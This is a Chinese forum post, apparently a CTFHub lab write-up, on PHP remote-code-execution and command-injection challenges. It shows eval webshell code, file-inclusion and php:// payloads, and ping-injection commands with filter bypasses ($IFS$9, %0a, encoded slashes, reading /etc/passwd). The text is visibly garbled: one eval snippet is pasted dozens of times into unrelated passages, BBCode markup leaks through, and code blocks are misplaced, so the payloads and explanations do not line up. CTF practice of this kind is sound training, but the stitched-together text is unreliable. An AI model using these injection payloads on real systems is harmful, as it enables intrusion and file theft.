登录/ 注册
 找回密码
 立即注册
关闭

CSDN热搜

程序园 精品问答 技术交流 资源下载
返回列表 发新帖
首页 › 业界区 › 科技 ›CTFHub-RCE漏洞wp

CTFHub-RCE漏洞wp

戈森莉 前天 19:40
引言

题目共有如下类型
1.png

什么是RCE漏洞

RCE漏洞，全称是Remote Code Execution漏洞，翻译成中文就是远程代码执行漏洞。顾名思义，这是一种安全漏洞，允许攻击者在受害者的系统上远程执行任意代码
eval执行

分析源码：
  1. <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?>
复制代码
执行命令查看当前目录
  1. ?cmd=system("ls");
复制代码
2.png

查看根目录或者上级目录一个一个查找
  1. ?cmd=system("ls /");
  2. ?cmd=system("ls ../../../");
复制代码
发现flag文件
3.png

cat /flag_8751即可
4.png

文件包含

文件包含

源码审计
  1. <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?> <hr>i have a shell, how to use it ? <?php
  8. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  9.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  10. } else {
  11.     highlight_file(__FILE__);
  12. }
  13. ?>  //提示有个shell.txt文件，内容为
复制代码
利用文件包含读取shell.txt
5.png

先了解一下$_REQUEST函数，是PHP 中一个非常方便的超级全局变量，它处理来自用户输入的数据。具体来说，$_REQUEST 变量包含了通过 GET、POST 和 COOKIE 方法传递的数据 ，所以可以利用POST或cookie传入ctfhub变量
查看根目录
6.png

查找flag
7.png

php://input

源码分析
  1. <?php
  2. if (isset($_GET['file'])) {                                //检查是否存在file参数
  3.     if ( substr($_GET["file"], 0, 6) === "php://" ) {      //检查参数前6位是否为 php:// ，是则执行
  4.         include($_GET["file"]);
  5.     } else {
  6.         echo "Hacker!!!";
  7.     }
  8. } else {
  9.     highlight_file(__FILE__);
  10. }
  11. ?>
  12. // 给了应该phpinfo.php超链接
复制代码
查看phpinfo.php文件，发现此处
8.png

抓包构造命令执行，因为有php://input，故会执行传入的php代码
9.png

查看flag
10.png

这里也可以利用php伪协议，会得到一串base64加密的flag，解密即可
11.png

或者：
12.png

读取源代码

源码审计
  1. i don't have shell, how to get flag? flag in /flag <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?>  <?php
  8. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  9.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  10. } else {
  11.     highlight_file(__FILE__);
  12. }
  13. ?>  <?php
  14. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  15.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  16. } else {
  17.     highlight_file(__FILE__);
  18. }
  19. ?>  <?php
  20. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  21.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  22. } else {
  23.     highlight_file(__FILE__);
  24. }
  25. ?>  <?php
  26. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  27.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  28. } else {
  29.     highlight_file(__FILE__);
  30. }
  31. ?>  <?php
  32. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  33.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  34. } else {
  35.     highlight_file(__FILE__);
  36. }
  37. ?>  <?php
  38. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  39.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  40. } else {
  41.     highlight_file(__FILE__);
  42. }
  43. ?>  <?php
  44. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  45.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  46. } else {
  47.     highlight_file(__FILE__);
  48. }
  49. ?>  <?php
  50. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  51.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  52. } else {
  53.     highlight_file(__FILE__);
  54. }
  55. ?>  <?php
  56. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  57.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  58. } else {
  59.     highlight_file(__FILE__);
  60. }
  61. ?>  <?php
  62. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  63.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  64. } else {
  65.     highlight_file(__FILE__);
  66. }
  67. ?>  <?php
  68. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  69.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  70. } else {
  71.     highlight_file(__FILE__);
  72. }
  73. ?>  <?php
  74. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  75.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  76. } else {
  77.     highlight_file(__FILE__);
  78. }
  79. ?>  <?php
  80. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  81.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  82. } else {
  83.     highlight_file(__FILE__);
  84. }
  85. ?>  //flag在根目录
复制代码
php伪协议读取flag
  1. ?file=php://filter/read=/resource=/flag
复制代码
13.png

远程包含

源码审计
  1. [/code]给了一个[b]phpinfo()[/b]界面，根据题目提示，还是文件包含题，抓包利用[b]php;//input[/b]读取
  2. 查看[b]根目录[/b]
  3. [align=center] 14.png [/align]
  4. 读取[b]flag[/b]
  5. [align=center] 15.png [/align]
  6. [size=5]命令注入[/size]
  8. [list]
  9. [*]这里需要了解一下常见的命令分隔符
  10. [*][b]; :[/b] 无论前面是否执行，后面都执行
  11. [*][b]||（逻辑或）：[/b]前命令失败执行后命令，如果前命令成功则不执行后命令
  12. [*][b]| ：[/b]前者结果作为后者参数使用
  13. [*][b]&& ：[/b]前命令成功执行后命令，如果失败则不执行后命令
  14. [*][b]\n：[/b]换行符，url编码%0a
  15. [*][b]%0a[/b] <?php
  16. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  17.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  18. } else {
  19.     highlight_file(__FILE__);
  20. }
  21. ?> （换行）
  22. [*][b]%0d[/b] <?php
  23. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  24.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  25. } else {
  26.     highlight_file(__FILE__);
  27. }
  28. ?> （回车）
  29. [/list][size=4]无过滤[/size]
  31. 没有做任何过滤
  32. 先[b]ping[/b]一下
  33. [align=center] 16.png [/align]
  34. 查看[b]该目录[/b]，使用 [b]127.0.0.1; ls[/b] 也是可以的
  35. [align=center] 17.png [/align]
  36. 查看[b]26398804916519.php[/b]
  37. [code]127.0.0.1 | cat 26398804916519.php
复制代码
发现flag
18.png

过滤cat

查看源码：
  1. [/code]先查看当前目录，得到flag文件 <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?> flag_11971489425983.php
  8. [align=center] 19.png [/align]
  9. 这里介绍几个绕过空格的方法
  10. [code]$IFS$9 <?php
  11. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  12.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  13. } else {
  14.     highlight_file(__FILE__);
  15. }
  16. ?>  %09 <?php
  17. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  18.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  19. } else {
  20.     highlight_file(__FILE__);
  21. }
  22. ?>  <?php
  23. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  24.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  25. } else {
  26.     highlight_file(__FILE__);
  27. }
  28. ?>  <?php
  29. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  30.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  31. } else {
  32.     highlight_file(__FILE__);
  33. }
  34. ?>  <?php
  35. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  36.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  37. } else {
  38.     highlight_file(__FILE__);
  39. }
  40. ?> < <?php
  41. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  42.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  43. } else {
  44.     highlight_file(__FILE__);
  45. }
  46. ?>  <?php
  47. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  48.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  49. } else {
  50.     highlight_file(__FILE__);
  51. }
  52. ?>  {cat,flag}
复制代码
可以绕过空格
  1. $IFS$9   %09    <>    <     {cat,flag}
复制代码
20.png

过滤目录分隔符

几种常见的 / 符号绕过方法
  1. 改变工作目录：cd xxx <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?>  避免使用 / 符号环境变量截取： ${PATH:0:1} <?php
  8. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  9.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  10. } else {
  11.     highlight_file(__FILE__);
  12. }
  13. ?>  ${HOME:0:1}编码绕过：8进制： $(printf "\57") <?php
  14. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  15.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  16. } else {
  17.     highlight_file(__FILE__);
  18. }
  19. ?>  <?php
  20. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  21.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  22. } else {
  23.     highlight_file(__FILE__);
  24. }
  25. ?> 16进制： $'\x2f' <?php
  26. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  27.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  28. } else {
  29.     highlight_file(__FILE__);
  30. }
  31. ?>  <?php
  32. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  33.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  34. } else {
  35.     highlight_file(__FILE__);
  36. }
  37. ?>  <?php
  38. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  39.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  40. } else {
  41.     highlight_file(__FILE__);
  42. }
  43. ?> $'\57'调用命令生成：a=$(printf "/"); cat ${a}etc${a}passwd <?php
  44. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  45.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  46. } else {
  47.     highlight_file(__FILE__);
  48. }
  49. ?>  <?php
  50. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  51.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  52. } else {
  53.     highlight_file(__FILE__);
  54. }
  55. ?>  cat <?php
  56. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  57.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  58. } else {
  59.     highlight_file(__FILE__);
  60. }
  61. ?> `echo /`etc`echo /`passwd通配符替代(部分路径已知)：/???/cat /???/passwd <?php
  62. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  63.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  64. } else {
  65.     highlight_file(__FILE__);
  66. }
  67. ?>  <?php
  68. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  69.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  70. } else {
  71.     highlight_file(__FILE__);
  72. }
  73. ?>  <?php
  74. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  75.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  76. } else {
  77.     highlight_file(__FILE__);
  78. }
  79. ?>  <?php
  80. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  81.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  82. } else {
  83.     highlight_file(__FILE__);
  84. }
  85. ?>  <?php
  86. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  87.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  88. } else {
  89.     highlight_file(__FILE__);
  90. }
  91. ?>  <?php
  92. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  93.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  94. } else {
  95.     highlight_file(__FILE__);
  96. }
  97. ?> //匹配 /bin/cat利用反斜杠：cat \/etc\/passwd协议替代：file_get_contents('glob:///*');
复制代码
提示：
21.png

源码
  1. [/code]查看当前目录
  2. [align=center] 22.png [/align]
  3. 进入该目录并查看
  4. [align=center] 23.png [/align]
  5. 执行以下命令读取flag文件
  6. [code]<?php
  8. $res = FALSE;
  10. if (isset($_GET['ip']) && $_GET['ip']) {
  11.     $ip = $_GET['ip'];
  12.     $m = [];
  13.     if (!preg_match_all("/\//", $ip, $m)) {         //过滤了 / 符号
  14.         $cmd = "ping -c 4 {$ip}";
  15.         exec($cmd, $res);
  16.     } else {
  17.         $res = $m;
  18.     }
  19. }
  20. ?>
复制代码
得到flag
24.png

过滤运算符

查看源码，可以利用 ；绕过
  1. [/code]查看当前目录
  2. [align=center] 25.png [/align]
  3. 执行以下命令
  4. [code]<?php
  5. $res = FALSE;
  6. if (isset($_GET['ip']) && $_GET['ip']) {
  7.     $ip = $_GET['ip'];
  8.     $m = [];
  9.     if (!preg_match_all("/(\||\&)/", $ip, $m)) {          //利用正则匹配过滤了 | 和 &
  10.         $cmd = "ping -c 4 {$ip}";
  11.         exec($cmd, $res);
  12.     } else {
  13.         $res = $m;
  14.     }
  15. }
  16. ?>
复制代码
得到flag
26.png

综合过滤练习

源码审计
  1. [/code]利用换行符[b]%0a绕过[/b]查看当前目录
  2. [align=center] 27.png [/align]
  3. 查看根目录，没有有用信息，flag应该存在[b]flag_is_here[/b]目录下
  4. [align=center] 28.png [/align]
  5. 执行以下命令
  6. [code]?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0als <?php
  7. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  8.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  9. } else {
  10.     highlight_file(__FILE__);
  11. }
  12. ?>  <?php
  13. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  14.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  15. } else {
  16.     highlight_file(__FILE__);
  17. }
  18. ?>  <?php
  19. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  20.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  21. } else {
  22.     highlight_file(__FILE__);
  23. }
  24. ?>  <?php
  25. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  26.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  27. } else {
  28.     highlight_file(__FILE__);
  29. }
  30. ?>  //flag被过滤，需要绕过
复制代码
29.png

查看该flag
  1. ?ip=127.0.0.1%0acd$IFS$9f\lag_is_here%0anl$IFS$9f\lag_172132798218075.php <?php
  2. if (isset($_REQUEST['cmd'])) {         //检查是否有cmd参数且不为空
  3.     eval($_REQUEST["cmd"]);            //执行cmd传入的php代码
  4. } else {
  5.     highlight_file(__FILE__);
  6. }
  7. ?> //绕过cat
复制代码
30.png


来源：程序园用户自行投稿发布，如果侵权，请联系站长删除
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！

使用道具 举报
相关推荐
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册
发帖
戈森莉
前天 19:40

0

粉丝关注

8

主题发布

板块介绍填写区域，请于后台编辑
微信扫一扫